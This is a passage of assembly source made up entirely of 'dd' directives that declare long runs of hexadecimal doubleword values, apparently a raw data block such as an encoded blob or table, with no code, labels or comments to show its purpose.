dd 0B7ED3499h, 0A4DBE53h, 2C4E2381h, 9FB28787h, 4F2A9744h
dd 538BAAAFh, 0CF427F24h, 0AB507511h, 608265ACh, 50FD4628h
dd 0ABD7D749h, 3A1C12A7h, 15421752h, 0C3103B17h, 170C90CAh
dd 4CEC369Ch, 7A0F4C2Fh, 0A19F5110h, 632B624Eh, 18F3C671h
dd 371D0F64h, 2175D724h, 36193D5Ah, 0C292F277h, 0FB0333BFh
dd 0FD5F4616h, 5B60FC6Dh, 67D545F0h, 591F2C28h, 0DB1B7B64h
dd 0B2FC56AAh, 94F432DCh, 81FACB1Ch, 2062AA8Ah, 0B197C9Fh
dd 0C4EC692Eh, 0F647FAE0h, 47866FA3h, 2C86A557h, 19E2DE8Ah
dd 95FB2A07h, 379B2581h, 0F2C96468h, 1B0616F1h, 5490FFC1h
dd 0FBCDE324h, 8B3487CAh, 0C2C0A1ADh, 0EA0CF94Ah, 0FE6514C0h
dd 1FE2B3F5h, 92C37608h, 609E83D6h, 3C3C75BFh, 0C7174CBCh
dd 0B40DE4A1h, 6E6017B0h, 8674323Bh, 71B05B97h, 648A6D9Dh
dd 51866946h, 5D5B2673h, 1FA1E868h, 47CF129Ch, 1FBCA7C4h
dd 1B39AB9Eh, 76E53661h, 0A1856105h, 71D0971Fh, 0DD6366BDh
dd 0CE49E9FBh, 0A6DB1412h, 482A9AD1h, 7EAA0FC2h, 0E3670C30h
dd 15B9C4A8h, 923C5181h, 0E0219A79h, 0D74A7EDCh, 730E38E4h
dd 0D6F8209Ch, 0DE3E5F79h, 0BA961928h, 0C64BD3B8h, 0A27EDB90h
dd 845972BAh, 5327BC42h, 0B3ADF024h, 0EE693D4Dh, 9C653A7Dh
dd 0B5714710h, 0ABD957DFh, 7573B68h, 6767AB87h, 32A75BC3h
dd 0B6AE1663h, 391BB3D5h, 55924A0h, 0BA51795Ah, 1ED8F3BBh
dd 0F679CBAAh, 0A6210E41h, 3C3D1455h, 408D6EB2h, 0D4C63E77h
dd 0A22EE29Eh, 0BB665BA0h, 7FDEF44Fh, 657124D2h, 9C4B1796h
dd 6AE5C06Fh, 7255302Eh, 9872FF68h, 1F25B105h, 6027E2C6h
dd 0D3B5894Fh, 3DAF23Ch, 645CA05Eh, 0DB299707h, 0D6DC982Ah
dd 0E25A602Bh, 0E6940FDEh, 21D1E299h, 0A634726Fh, 0C5BF442Eh
dd 6778BD49h, 2289D7E0h, 9E129CC2h, 79C7AD00h, 9E62B9B3h
dd 5644FAAh, 96A7E143h, 51A2531Eh, 8730EDFDh, 0E3CDA1FCh
dd 0E4930559h, 64FE7791h, 0A5EB0029h, 51FD3D1Fh, 2AC5A399h
dd 76F10DEAh, 0A92E9F50h, 7B4E603Fh, 3FD20C5Dh, 6460848Dh
dd 158DDE97h, 0EDB32F33h, 0C202BAh, 5B97D939h, 0BEB2F528h
dd 0D12B54E6h, 4545EE57h, 0A464CAADh, 40F4BC1h, 5A85E48Fh
dd 0D35F1E8Dh, 0E46A9103h, 3CA78084h, 9C144038h, 62E3FB3Dh
dd 66AFCABFh, 0E76FBA1h, 9E2170E6h, 0F224A4DFh, 48766625h
dd 49FCD394h, 1D4C481Fh, 74A8CEFAh, 6A35402Ch, 4AE7EEA6h
dd 761DEE0h, 8A9321C2h, 32B16960h, 2A59871Ah, 281E982Eh
dd 0A81AA9A4h, 0AA4D1036h, 0BA6AB236h, 6894DE61h, 36B10663h
dd 0EC3DF122h, 16866069h, 0BCD4BDh, 0B4AACBD1h, 601F74EDh
dd 96A6765Ch, 1F7396FCh, 31131BD1h, 0AD303AA1h, 26762D84h
dd 0E1FBA057h, 2DAFBC06h, 34CA923Eh, 9460BFB2h, 6B736272h
dd 0B2077F14h, 0F2C422FEh, 4D466192h, 5EB18211h, 16390AB8h
dd 4086EF2Ah, 0A525B767h, 0A1156A68h, 313D796h, 8BEB594Dh
dd 2041766Ah, 3B6A6615h, 0A24A42CCh, 0F0A44C5Ch, 8C605CB1h
dd 5763CBC0h, 304E7F51h, 0E08D930Dh, 0AE7ED9A5h, 6E6EF0DBh
dd 75770E0Fh, 718C2EC6h, 0D0BEB80h, 2774AE8Ch, 36A9476Dh
dd 9FA91BC3h, 0E5E44E05h, 7A219306h, 95AF5C66h, 0CE934B5Dh
dd 0BC915FA1h, 0F3234674h, 0CB3900CFh, 0F969D351h, 8A7D0AB9h
dd 0AE5E3DC0h, 79C183BAh, 16B2BACDh, 4392C606h, 0BF64E647h
dd 6FB78C66h, 658868E9h, 45069062h, 0DA1DBCA3h, 9A27AF3h
dd 0A64250CEh, 0B676A51Ah, 0FDAB52Dh, 354EC5F4h, 0D5C69529h
dd 1FF8C1A4h, 41682D27h, 0EEF5A4F7h, 0B0A9A05Eh, 7BD3C9A0h
dd 6BAC5C21h, 94E096FAh, 0D7B5A783h, 0C1A4BB63h, 66E5D75Ah
dd 2A1BFB24h, 885E6645h, 97E258EAh, 1BB34826h, 22E9C6DAh
dd 5A7E94A3h, 483363C4h, 2566EA36h, 409CFD5Fh, 5AD55D4Ch
dd 601D5D76h, 165F4CF1h, 7AC12F49h, 0F1EC619Ah, 0D56BE92Eh
dd 0A61647D5h, 9B26A391h, 0C0E655A2h, 2AAE922Ah, 7D57BD46h
dd 0F371D1C6h, 3A9A10F9h, 0F78C401h, 24FBC097h, 56C8D956h
dd 0CF7CCD9Ah, 0B6BC1D77h, 0CDA55BB7h, 0CE4C6E53h, 0F01BFE36h
dd 47FB804Dh, 62F9E557h, 8D3CCE9Ch, 0A132F4D4h, 0B4AA5AD6h
dd 0D63BC739h, 0E79D4F0Ch, 0ABA0FD73h, 51640E9Ch, 686FDDEFh
dd 37CA873Fh, 0A64A694Bh, 0FC0EE18Dh, 6723E440h, 0CB7C4F5Dh
dd 6CC2AB6Bh, 0FE4284CAh, 58EF6D78h, 72A83770h, 76E29E14h
dd 287873E1h, 0EFCC40A2h, 9C6D8784h, 5E6669AFh, 0DD994979h
dd 4E9ADE2Dh, 0F5B76501h, 0B363E170h, 0C696E51Eh, 0C81E4290h
dd 3E10028Ah, 92039CC5h, 0B1AD36B9h, 5B567A91h, 0B057939Eh
dd 2CE95DC0h, 0DDEBB5A8h, 22F18798h, 330CDB3h, 0E58AD91Ah
dd 8D5FE8C3h, 65049D6h
dd 758BA599h, 989716A4h, 3B2F5232h, 68BAB69Fh, 8B3659B4h
dd 4E5B316Eh, 41A185D8h, 0E53A66A8h, 0B798C78Fh, 0E7225842h
dd 687E5995h, 0F96D7605h, 91FBC643h, 6038C442h, 8992731Bh
dd 29E42D10h, 0E2C7EB00h, 0EB92DDF4h, 543CF578h, 0FA374F87h
dd 59A2FE1Bh, 5A02554h, 45B54384h, 0ECCC76BCh, 826D3AA8h
dd 83AF4D17h, 59C41185h, 7A2FE927h, 0F64890FBh, 3B5B057Bh
dd 22E069F8h, 3C2C2654h, 7E7BD7D7h, 1F026519h, 3E2D02ADh
dd 1C35E927h, 21111320h, 0B80570A1h, 1BD80F48h, 3DCD0527h
dd 9315354Dh, 0B5630E6Ch, 28CBCAh, 0F77315BDh, 840A5ABFh
dd 0C308AA19h, 968646E9h, 7F04F421h, 0FE61034Fh, 40D61016h
dd 7A67E322h, 64E57743h, 1DF9217Fh, 0B459D5D0h, 2F87AD1Ch
dd 2885A92Ch, 55284FBh, 9F943B55h, 1F120778h, 0E26BF4CEh
dd 3FC01153h, 410528BEh, 1F0C440Dh, 8444E73h, 0DEBA1210h
dd 1830DE31h, 0B59AEC17h, 32CBCDD7h, 356D108Ah, 25BCD9D4h
dd 8F747A3Dh, 0BA7EFCA1h, 84D78F82h, 266145B2h, 85C45C79h
dd 0A7EF876Eh, 8A0A2EB2h, 4CBA5A9Bh, 2CCD46Dh, 0C8B8C5CBh
dd 0D77213A5h, 10A793D9h, 0FACB17E2h, 0D175FBF2h, 17F4EB54h
dd 2F5363A5h, 0B8E3A2ECh, 0B64750CFh, 0F453596h, 0B2B90D6Eh
dd 84000F7Dh, 0E89FCF9Eh, 108F7575h, 0F71C4CB7h, 17590EF4h
dd 92CDB4CFh, 24C151B0h, 9869D26Eh, 68730D1Bh, 0B43F056Ch
dd 4D5AE520h, 0AE72643Bh, 9758183Dh, 0F43A21E6h, 0DAB3CA1Fh
dd 8BB4FCF0h, 6858963Eh, 9D3D748Fh, 27429487h, 9409D36Ah
dd 77841CA4h, 0ABF80269h, 0E8031392h, 94407D90h, 6203E8B1h
dd 0C05DEA64h, 0EBCE9983h, 9F2108F4h, 9843AF76h, 845C6E50h
dd 0FB32056Bh, 6CA9645Ah, 7D21C923h, 0E2A0C8A7h, 0C602A7D6h
dd 5F38D5F0h, 3AFC5329h, 95A8D110h, 0F2E80ADBh, 70503C1Bh
dd 0EE408099h, 0AC6708C1h, 9121098Fh, 7C77F9B1h, 52B00A12h
dd 0D5F52093h, 0CAE050EEh, 37A72446h, 0B4FA510Fh, 944BC2D0h
dd 0DD353359h, 0E91DA825h, 94CC9033h, 0CEA6E378h, 4F93D23Eh
dd 3B228153h, 0FAE53D48h, 959CE37Bh, 0CFB98E82h, 270CDB2Ch
dd 6E453D3Dh, 0AF89863Bh, 34F39153h, 57F853C4h, 68564C43h
dd 9FFADACCh, 69061Ah, 35920F42h, 443F9FD6h, 0D21F14E0h
dd 905FB23Ah, 0DCC1F0BEh, 523B38C9h, 38561738h, 18351978h
dd 0EED84475h, 0B8134A3h, 55205C37h, 0DDD5E79Eh, 0ED4E9D63h
dd 86ECA9C1h, 5E24F259h, 6F9D733Ah, 8CC015A7h, 0A21CAD3h
dd 678B2333h, 38534933h, 0C9625A21h, 6CDA3796h, 0ACE5AA5Fh
dd 86AE4593h, 0F415576Eh, 5356A485h, 3D84221Bh, 95A6B0D8h
dd 3B537BFBh, 918FFBD6h, 6555872Fh, 55DE752Dh, 6BF503D8h
dd 0B3DFD419h, 0A020EBC3h, 0D2CBB799h, 89606935h, 0DEA615D3h
dd 8A6D13BEh, 68E087F7h, 3D9D86E0h, 8C1E9656h, 284D3FF6h
dd 82A2B8A3h, 0D9720A15h, 3EAA1FDh, 0E66BB892h, 0A20559B9h
dd 1ED6BAB7h, 0EF91235h, 926B2213h, 0CC8BC166h, 74214A48h
dd 1FC8007h, 3FF1441Eh, 67E9FA8Fh, 768D4E5Fh, 844F4847h
dd 878EBDA0h, 965C2D36h, 7C80DBDEh, 0A4C65A0Ch, 0A521AF1Dh
dd 0EB457948h, 428BD00Ah, 1C374554h, 0B64D21F2h, 31628660h
dd 1E2AF409h, 49A5E4C4h, 80F36AE1h, 0E0E3B9F5h, 0BC0FBE18h
dd 7D39F98Dh, 0BABF1340h, 0DA276827h, 2706A209h, 67BEA50Dh
dd 32B381Eh, 2D7E5D11h, 6E5948ACh, 8473EEB6h, 0D0C27F32h
dd 553021F2h, 3E491AA9h, 6B67E7EAh, 0B9890B74h, 6A135601h
dd 3ABCC24h, 0A0CC3BD8h, 849EA40Ah, 0F0F90F10h, 575C600Eh
dd 0B0D7F9D9h, 460F9A74h, 0C996288Ch, 6C917619h, 0A6BE779Bh
dd 0C1FD3DE9h, 1C68DABh, 57F7C282h, 3E228DB1h, 0E4577E64h
dd 3EE55A7Dh, 3CF75EA1h, 0CF555332h, 4BD401BEh, 0ED168E1Fh
dd 432D98ADh, 0E8B9F1E8h, 60C80F80h, 1D172A80h, 0B45DEB15h
dd 917DBA37h, 511F16C0h, 85B00028h, 0F380EDC1h, 0B2669F7Dh
dd 0E4A28E88h, 0DD91F896h, 0E682136h, 0EB05381h, 3172D28Dh
dd 0CAA279D9h, 600337E2h, 7C7DA778h, 9D6B1DD6h, 49F39D37h
dd 36F3BCA1h, 0D64EC1D5h, 862019FCh, 758D9EF0h, 4083C7E2h
dd 9EBF965Eh, 0A5AC8858h, 8A1E1DC4h, 74070765h, 7386CBFDh
dd 7B614352h, 0B463AA44h, 9D2163AEh, 5A1561BEh, 71E542Fh
dd 37592231h, 722354FCh, 6DF79F75h, 17DA0E8h, 832037CAh
dd 2FE0BEC7h, 0A6A2999Ch, 1D5DF576h, 0ECAA497Ch, 94D1F221h
dd 9ADE17C4h, 0E1C30B59h, 0E35D53E1h, 86CB74FCh, 2B86A1BEh
dd 0C6E63683h, 0D83C48E9h, 7AC6892Dh, 42559D69h, 0C0F65D53h
dd 1BAF7358h, 0B33C7E1h, 23C2BA9Ah, 3BDFC707h, 0D386001Fh
dd 5AD495AEh, 7BC8AB27h, 20A682FDh, 2F1FA065h, 0A1F856A1h
dd 108A84C1h, 0AE9BA68Bh, 2F752FA2h, 0C925345Ch, 0B0770FD1h
dd 13043CEEh, 3763874h, 0C1B500D1h, 86DE652Bh, 0A38D98AFh
dd 8D7B0822h, 0EDCCA535h, 7A40B041h, 1B54BEA2h, 0D53CA48Fh
dd 15124EF2h, 0C8664694h, 1742h, 9407323Fh, 2802655Eh
dd 6757DBF4h, 5E2105F4h, 0F8C8C509h, 0FAE452ADh, 0E2672A4Ah
dd 3B9DA3F7h, 24F86723h, 0D61B57ECh, 7A8CFE91h, 69E8A05Ch
dd 97B9D47h, 8AD3123Ch, 0DD4BC93h, 0C995F070h, 239BECB0h
dd 77FA8E60h, 0AA51E9CDh, 84E38E5Ch, 0C7D8BC6Dh, 0EB815A64h
dd 0E7AEBCB4h, 0A8BFE7A1h, 0A6DFD513h, 1621B0EFh, 74F49E4Bh
dd 7AAD824Dh, 39D4D1DDh, 0BE065E2Fh, 0E0EBF448h, 392C02C2h
dd 629C0149h, 57767EC7h, 87244E25h, 4CA4732Dh, 0BAB84F88h
dd 72F5E104h, 950AE31Dh, 740B3C2h, 0C74ECE53h, 607AC066h
dd 67027A86h, 0D2057DFFh, 57483ECFh, 4C19A810h, 0CE26A232h
dd 0B6A137A3h, 0C2ACDB4Bh, 0CCCADB95h, 0AC55DCAFh, 0D564B838h
dd 0D07A73F2h, 9A4FACDAh, 688F287h, 52979BD9h, 0E57F1BFAh
dd 0CD954C35h, 188087D7h, 171EB50Eh, 36F2D503h, 0A40E377Eh
dd 0BD022ECEh, 68146EFCh, 60F3A460h, 5D633287h, 89E72059h
dd 5F972520h, 0C6A9267Fh, 7CD2FACh, 5053C069h, 0D0E569DCh
dd 8B52FEEDh, 38FC6FA1h, 0DBB2D50Ch, 0FDE0E556h, 0C4FB4C7Fh
dd 1BD860A1h, 28E13E12h, 73A45C6Bh, 6FF9ED96h, 8E2B5ADCh
dd 2F6F50C3h, 0C56B8308h, 0F81FC2BEh, 4B920B4Ah, 0C81E448Eh
dd 3777D87Ah, 5B6DA2FAh, 0E1EC381Ch, 3DC56285h, 0EFE0E86Dh
dd 4CBCFBBBh, 35A6D0D7h, 659CB542h, 73BF7742h, 0D4A3F5BDh
dd 3AD5A1F9h, 6ECF0D87h, 1F72A825h, 37093E1Bh, 1FECB456h
dd 0D28438FCh, 6E9C0CE4h, 888ED1A5h, 755FE340h, 381CE188h
dd 80F07293h, 9BA60684h, 0C53FF50Dh, 0E882CA90h, 0D49C43C9h
dd 4C2CDC02h, 622717A0h, 32AADC59h, 0B2D90ED0h, 2AF408D4h
dd 0FB6D628h, 35CCFB2Eh, 0F6ED0383h, 8964A9BDh, 1EBB0281h
dd 1B07D510h, 25F088A5h, 0A33C2CF5h, 9017E808h, 879A7DE5h
dd 293A8EE8h, 0EFD8BC0Ah, 2D210946h, 0A4C4FF3h, 0DD3F61E7h
dd 53EF305Bh, 239EFA99h, 6AE378DEh, 0EADDA6F5h, 11F3F235h
dd 422A93CEh, 5B78FEAh, 0C7079775h, 398FF4E0h, 1B2C3AAAh
dd 292DB9F0h, 44C155F2h, 0AA810E61h, 86FD6BE3h, 0FDF4C282h
dd 0D40C2B45h, 630D9227h, 42365199h, 55AE6047h, 3C900FDAh
dd 0F30CD038h, 9D1356A9h, 0D982CF9Eh, 0AB876257h, 6F38201Bh
dd 9A738308h, 0D36483BEh, 0BBE27F1Ah, 0AEA1E585h, 0F73CA358h
dd 8610F474h, 99B555DDh
dd 5F4B9A15h, 0DE4CC802h, 98A78F33h, 7D0E9D9h, 0DDD411Ch
dd 16C35681h, 0DB053E74h, 0C44B7D38h, 0D0C0EA87h, 13BB781Dh
dd 6232F270h, 0E28F479Bh, 0CE12DEEBh, 5B0C4D24h, 0B399328Ah
dd 1FC011EEh, 1733626Ch, 8DBBC3BEh, 7887BC3Eh, 0E461A990h
dd 0D378B01Eh, 18C57C39h, 5D5E2EAEh, 78BEA32Ch, 546472FBh
dd 654B6F66h, 0F39C726Ch, 255DBED3h, 0DD7F4974h, 0E030DF40h
dd 0D0BE490h, 13745ADBh, 0CB6CCC03h, 500C482Ah, 0F9671363h
dd 0E0C017A8h, 7F08C2D7h, 98E89A02h, 55B328E8h, 0EE47CCF3h
dd 8455728Dh, 0AB05DBA1h, 1461FCAAh, 94DA374Bh, 276D9CDEh
dd 8B27668Eh, 928F9203h, 0F72E1A27h, 4BA89E4Ch, 0B4D5A7B3h
dd 6B09D275h, 72CA9524h, 2C2B05C2h, 4694DB13h, 297E1CC3h
dd 45021ADCh, 0A89EBE9Ah, 4520CB58h, 53856BF0h, 0A67FA96Eh
dd 803D7B35h, 48A6641Ch, 0B91DFD3h, 0EDD9E6B5h, 0FCDF768Fh
dd 0EE96C5B9h, 0D007C22h, 0A2E42A83h, 5528C498h, 4CE47ECAh
dd 0BB0D0306h, 2ED534D9h, 9D2D1B94h, 117783F3h, 0D84FED90h
dd 89818EB7h, 29A8790Dh, 6BE960D2h, 2549BCD1h, 511579F1h
dd 0CDDD95ECh, 3FD95C1Fh, 0F0F1F7ACh, 14EB4983h, 17906D17h
dd 0C1813F32h, 7C9D48D0h, 78A1F27Ah, 7D820C0Fh, 0EEB30Ah
dd 0EC263BE4h, 91AC17F8h, 130194B9h, 905609A6h, 0E88FC731h
dd 0E155196Eh, 0F40D1DF6h, 5EBAC850h, 0FE14F9CDh, 0F4DD736Eh
dd 31507DD6h, 0D811006Dh, 3472A2E4h, 1E96F5D7h, 4ED5DEDAh
dd 0CA90C78Bh, 0DC530FB5h, 4A966C7h, 3F7E9CE7h, 5B3E85E1h
dd 296E19E7h, 8C195E10h, 0EAFAE218h, 556A5900h, 68E7A9DBh
dd 88BFCAE8h, 0C4F424D3h, 0FE9DB437h, 31143A5Eh, 67A0C7Bh
dd 838E308Ah, 0B3048795h, 0E9D64975h, 0C664C121h, 0AD3A9747h
dd 839C7A5Fh, 410077A5h, 6732CBC7h, 0A2E0C9E5h, 3767139Eh
dd 8E6F341h, 0CBB09197h, 0CE605164h, 995002A9h, 0F83BEA60h
dd 7F2F8BF6h, 0B9AA61CCh, 835E1421h, 800DF3CEh, 0D596877Eh
dd 5669314Eh, 5B591DF9h, 0EB048B19h, 639F1EB3h, 39237BE9h
dd 12BBD435h, 2F675CCEh, 0F1E3D856h, 0FB3A0378h, 20C21C41h
dd 0A04C6443h, 81630FEDh, 99F3A162h, 30913C67h, 74D68553h
dd 0AFCAD757h, 67EF3F65h, 0F18975B6h, 88F8F87Bh, 0FC088205h
dd 0CDF59BB5h, 0AC8360Fh, 0C66B4FA8h, 6B397FDDh, 0C2E27E71h
dd 3F9EA918h, 0DF95790Ah, 7CB8DA11h, 82C1C6D0h, 7DD39846h
dd 762BE704h, 24971C9Ah, 36E4144Eh, 0DAE912D7h, 46C38A32h
dd 0B9AC2C03h, 4BEAD758h, 236B2EC4h, 614A6E97h, 8EC5A864h
dd 210A172Fh, 0C6CE3407h, 3A3F0BAFh, 0B65D5F48h, 0FB3A34BAh
dd 946C97EFh, 4A18BDB7h, 80AD3F3Ch, 0B3B263E6h, 0C91E29E2h
dd 0DC7B71DFh, 0B717DF4Eh, 5632151Fh, 0FAF47F6Dh, 0C6E9F986h
dd 98D94C71h, 0BA1E4442h, 0CA456E2Fh, 4E77C845h, 0C9694E79h
dd 0CC570465h, 0D13050ADh, 0FA4B23FDh, 0D20C46F9h, 32E48B9Eh
dd 0DD1E320Ah, 0B4BE783Ah, 0A37E5BACh, 30DC9B7Ch, 8D0385AEh
dd 1E55D98Bh, 0E53D3BA8h, 1B510B3Bh, 0D9AB7407h, 0EF5F23C1h
dd 90EA3C36h, 0EE56EC5Eh, 238CDF50h, 2AD583Fh, 68DD985Bh
dd 18C714B2h, 0C1C7B895h, 946E3A99h, 31E2339Dh, 0B4FC3B14h
dd 28E83AE8h, 6BB2A0Ch, 0C52BA4D3h, 27E85672h, 0E25DC77h
dd 0FF63E4D2h, 0B3C23DD4h, 0CDF439F8h, 284545ECh, 955019C4h
dd 3B77EE94h, 972BE982h, 5BD093E2h, 36ECEC7h, 0D118FC74h
dd 5531DB2h, 0EF1A36A8h, 0C73E3C7h, 0C7744FA3h, 2A8CDFDCh
dd 5CD7A4C2h, 54A47462h, 0ADE7242Fh, 6EC74AF6h, 0BB3DC1A1h
dd 69CCD3D4h, 7698BB75h, 6A5017BCh, 41ECA7B6h, 0CEC180F5h
dd 870F3F43h, 6740E4D2h, 0B50EACF3h, 35CE744Dh, 78A255D9h
dd 996DD95Dh, 66161041h, 0FDEC8C9Eh, 57F91F56h, 7BB61FA6h
dd 0FC2A4B18h, 3B4D9B55h, 3940A554h, 0C71A9D29h, 89727BCFh
dd 70441223h, 0D74DCCB9h, 1F1F4650h, 8A4766DCh, 7ED9E657h
dd 97903DACh, 0D947D600h, 69ED2EF9h, 0BF50AF13h, 0F6FD37BAh
dd 0DFAB5EDBh, 0A9C2EA93h, 746D0EB2h, 19DD5839h, 0AA4213D1h
dd 0BD4181F8h, 0F241E0C0h, 7ABFCF75h, 0DF4E7E4Bh, 8111B150h
dd 43F13E31h, 36A630D7h, 2614802Ah, 7583A2CFh, 4D05666Fh
dd 7E2608F4h, 13BA3Eh, 5EA8028h, 2449A023h, 0CD6DB6A4h
dd 0FC5F752Ah, 0BB3A2655h, 2D092669h, 6934D362h, 5525559Fh
dd 22983783h, 15A193E9h, 0EC2B1891h, 5F25DDF7h, 0A5825135h
dd 0F3477C83h, 0DA2AA57h, 0F52B77C8h, 0D8271EF3h, 2E6349EFh
dd 0C9AA5884h, 4AED7763h, 0D5331761h, 1D604903h, 3246721Dh
dd 33F01F72h, 81B6242Bh, 1C421C1Ch, 0FC74B447h, 145B0CAh
dd 1B2F0821h, 0D5B8C72Ah, 64264C5Bh, 60E59C75h, 5C4E4586h
dd 8C19EF9h, 265C68AAh, 91A2FC8Bh, 95D4A5BCh, 609C86A6h
dd 8A07501Ah, 0B2AB6811h, 2F2E564Dh, 57929B87h, 0F3238B42h
dd 91B20ADBh, 92B53B0Ah, 0F0776D71h, 44DD3E9Bh, 9338488Ah
dd 8B1B57A9h, 140D2E77h, 79404B11h, 0DC27E68Eh, 9925E8BBh
dd 7730A4D7h, 47247393h, 8E4DB071h, 27081663h, 0C998B989h
dd 0B5E0C74Eh, 0C3AAB5FDh, 0C56FFEF6h, 634026D5h, 7204B863h
dd 7E28329Eh, 0C028F185h, 233390BEh, 3B0A4B39h, 9A74ECFCh
dd 3B7AD6D2h, 3E4260ADh, 0B2A8143Ah, 879B7FFFh, 753FBBFAh
dd 0F7BCE281h, 0DA2B4570h, 8C6B251Dh, 2D33147Eh, 195EF4A3h
dd 0E659B9A6h, 0B1D65088h, 0B4CACEE0h, 0DF51E073h, 823AAB7Eh
dd 66B6CBF1h, 838EFBDEh, 495E5B79h, 210D6DF2h, 6B350887h
dd 0D0B42F58h, 0FD6EB9BCh, 695FCBFEh, 69C3F799h, 53B4A3F3h
dd 6BDBFD9Bh, 0B398B055h, 0AF74E816h, 0A0143E03h, 0BE1FA133h
dd 0B7F1FB46h, 0FD973312h, 0E51AF1A3h, 0D9A63B6Eh, 2E5D3987h
dd 0D05E1CFDh, 0E673BDABh, 0DD44D44Fh, 5E7BB81Bh, 0BD8E062Ch
dd 7A7A4F7Dh, 4EDA52F5h, 0F663EAC0h, 97467F45h, 4C6814A0h
dd 88A2A465h, 123DA189h, 318FC62Bh, 106714CFh, 0C441D9DEh
dd 5B40E6F3h, 0EAC26D6h, 2B83BD17h, 3ED338F1h, 0C6EF5293h
dd 0DEE85A47h, 7C1F35A6h, 6698040h, 21A1D4DAh, 4A3609D4h
dd 0F826B3E1h, 8507AF89h, 0DD40A3ABh, 6455C711h, 2F9ECD44h
dd 3E2630FEh, 8B882FB0h, 0C7DA5C50h, 5A30CBBAh, 4EF3BD3Dh
dd 49E2E9D0h, 0D12C9D57h, 68FBCA45h, 0DD8BA036h, 0AEE8148Ch
dd 0E64CDB89h, 0A1EB1532h, 778EF9ABh, 0B562DBh, 3F42B315h
dd 0ED08C5CAh, 21611CCBh, 5372E677h, 0B7AAD33Ah, 5DA83D10h
dd 0B78F0FCDh, 0D8A959BBh, 123CFF9Bh, 0D84AE2C0h, 0D1296A71h
dd 974B03F0h, 0CBB17EBFh, 9A77CDF3h, 9E83EE19h, 59EE533Ch
dd 0D19100Eh, 246E7CC7h, 36857D4Eh, 13DED7ADh, 25228461h
dd 56C44415h, 90F78B41h, 5E37A9F3h, 0EF765725h, 81510989h
dd 62D32529h, 0B62CB23Fh, 0A582183Ah, 9F203F87h, 2169A566h
dd 6003E561h, 186E14DCh, 772A0E42h, 7CBC4873h, 335DB36Bh
dd 0B81E9126h, 9F54A576h, 0AAD8C06Ah, 5C7C8FE9h, 9C5B9BDFh
dd 0FCF05FF1h, 45467724h, 0F5C16056h, 4EEDCC01h, 21B3576Eh
dd 0FA04BF7Eh, 0BCE1C3EBh, 0C72EAE97h, 0F7C25ED3h, 0A5DFB036h
dd 0C86783A2h, 61C603DBh, 8A122E8Fh, 8CFE26A3h, 22BA7519h
dd 821A4789h, 929FBE0h, 681A8C80h, 701F522Fh, 6E890C1Eh
dd 97BDED1Dh, 0FDF2A127h, 28511869h, 0F5D84FFAh, 64136F73h
dd 0F3C0A470h, 0EFCF6DA4h
dd 4695000Eh, 43408D5h, 6A8AF73Dh, 9DCD369Eh, 9F036A65h
dd 3B18641Eh, 0A7D7E4C1h, 0BF9C763Fh, 5AD343C9h, 0D1A8826Dh
dd 0F18F3D7Ah, 84BB402Dh, 7B3593Fh, 1609C0C6h, 99757AADh
dd 7AB14F91h, 45F963BBh, 0F9CD39E4h, 0F2338C70h, 0BC3AC6C4h
dd 5ADD5209h, 0A95B9632h, 43D87F79h, 0A797D5ECh, 58B91947h
dd 5DC1A15Dh, 0C8DCFB71h, 0B5F38608h, 23029943h, 8E3DF880h
dd 0BA5D6F96h, 7F2CBA46h, 0ECAD9DDh, 0D4D8DE7Ch, 3CD9120Eh
dd 89EF9D83h, 0ACD3C4FBh, 0C5E48076h, 79E84529h, 69ACD1B1h
dd 315CBF89h, 0B4438878h, 3DBB166Dh, 9EE624E2h, 39220E10h
dd 0CB2227C5h, 0C529DF2Dh, 2AD80A34h, 0D2CF2B71h, 7E19C2ADh
dd 5CD49051h, 72EF57DBh, 106E10Bh, 9D5ACFF1h, 0BAD15679h
dd 0E3D235C4h, 28A8D8D4h, 0BC9EE735h, 0D6B1A3D0h, 38F1197Dh
dd 0CCCC3B20h, 0BB85B11Fh, 59AD5FF3h, 0AD74F996h, 0D20489C0h
dd 2130500Ah, 0FD415B82h, 0A34CF119h, 0E81E6909h, 57F06DC6h
dd 0D67789BBh, 2F6D8657h, 37AAC48Fh, 7829F979h, 42397153h
dd 0EB499743h, 0A4197CCBh, 24894B9Bh, 0D978C82Ch, 98D6D4B4h
dd 62D3774h, 0E977C5A6h, 6808B467h, 3A58B4D3h, 0BC313BC0h
dd 0C82E9A49h, 0E82DA2B8h, 0D6779509h, 229FA4C6h, 0F8311EF1h
dd 0D7930C8Bh, 0D460E7DDh, 7516A770h, 0EC5C05B4h, 2AA72B14h
dd 0B92897CFh, 5A6A0BDEh, 3FA25A2Bh, 0AAAD75B1h, 7EA277E7h
dd 132EAEF6h, 8BF6430Eh, 3D1B62A9h, 0E1BDEF70h, 22A0E9A9h
dd 7A2E7F3h, 45EA1597h, 6C4D93E7h, 0BECE281Fh, 0D74FE1F7h
dd 0CB2A5CFBh, 0C189FC03h, 5B85B4CFh, 3E1B0DB2h, 5BA4EBFAh
dd 8AF5A001h, 0C78F6774h, 3C8E1AE7h, 4B09B6Dh, 7843AF70h
dd 0D25B75C7h, 2A3CC12Eh, 9D0364Ah, 45613BEDh, 0F1995CC8h
dd 53395D56h, 0FB8990B8h, 890ED60Dh, 0EE4A6253h, 4B91510Ch
dd 27EA8D57h, 9F546169h, 5EF3F7F1h, 1A664501h, 44FC81B5h
dd 9AD5579Fh, 896AF464h, 7CB9570Ch, 0E4CCC068h, 906392CEh
dd 0EBAD9946h, 6E511F74h, 156EDA41h, 0ED8F2F8Bh, 0BA0CB777h
dd 5DE703F7h, 94931E39h, 1163C954h, 897FF2B3h, 0FF1480D3h
dd 0DDEB664Ah, 0E389073Eh, 85B6E037h, 0CC8EDC39h, 0AE1980EDh
dd 0D910D081h, 20D8A5D8h, 423E5792h, 0E526BEBDh, 602002D2h
dd 25408FD9h, 4CDB7943h, 4DDDBE6Dh, 319E41CAh, 0C2BC6F36h
dd 1B065636h, 2A3CEAAFh, 0D0EE890Fh, 395E4143h, 0D3E314DAh
dd 3CAEB128h, 9B7F59BAh, 9599E877h, 32CA67B7h, 84F453FBh
dd 0CFA6FA35h, 0A35AB1CBh, 0C56B3144h, 79E35123h, 0EFF3E548h
dd 0F9ACA00Ch, 2CCBDDF1h, 0DE367EFFh, 76260EEBh, 4641E6A4h
dd 90D7A287h, 7E0B6AF0h, 7DDEEADDh, 0ECEA6D31h, 59165F4Ch
dd 6F4E573Dh, 0FFC22ADDh, 0A0A3D117h, 0CA0616E0h, 28A38E43h
dd 0ACCAC95Eh, 0ED906A7Fh, 0A070B9Eh, 756E8D07h, 0EBFC1620h
